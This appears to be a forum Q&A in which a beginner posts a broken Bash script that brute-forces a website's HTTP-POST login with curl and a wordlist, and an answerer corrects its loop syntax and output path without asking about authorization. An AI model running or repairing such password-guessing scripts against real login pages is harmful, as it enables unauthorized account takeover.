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I'm fairly new to Bash, but this is a script I've been working on for the past few days. It's meant to run a dictionary attack on an HTTP-POST login for a website, by reading the time module and sending a login request to said website every amount of seconds I set it to. However, I'm running into issues.

echo -e "Initiating password cracking session...\n"
echo -e "Seconds per password attempt: \c"

read TIME

if [ "$TIME" -lt "2" ];
then
echo -e "Servers may block out attempts when initiated too frequently,     cracking session will begin anyways.\n"
fi

if [ "$TIME" -gt "2" ];
then
echo -e "Cracking session will take too long to initiate. Session will     continue anyways.\n"
fi

function control_c {
tput setaf 2; echo -en "                                                                Password     cracking session deactivated.\n"
exit $?
}

trap control_c SIGINT

for (( ; ; ))
do
url="https://examplewebsite.com/login"
echo -e "Username: \c"

read user

echo -e "Wordlist: \c"

read pass

for user do
  for pass in pass do
    http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
    if [[ $http_code -eq 302 ]]; then
      echo "Success: User: '$user' Pass: '$pass'"
      break 2
    fi
 done
sleep $TIME
done
done

As a side note, I have absolutely zero knowledge with cURL, and the syntax relating to cURL above is purely that which I've read on other websites. I get the error message: syntax error near unexpected token http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)' ./jmc.sh: line 36: http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)'

What is it that I'm doing wrong? Once again, I'm new to both Bash and cURL, so please forgive me if my script seems to be way out of line.

1 Answer 1

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To be short, I intentionally don't mention (many) things you "should" or "shouldn't", just focus on the syntax error.

  • for user do: for in this context must be in the format of for loop_variable in list; do (although I can't see what you would wish to have a loop for here)
  • for pass in pass do: just as in the previous line, the semicolon is missing (or, if you don't like semicolons, you can write do in the next line (but I can't see reasons of a loop here either)

One thing I must mention in addition: -o /root/Desktop would mean "put the output into a file called /root/Desktop". I guess you already have a directory with this name, so you must give the file something different..

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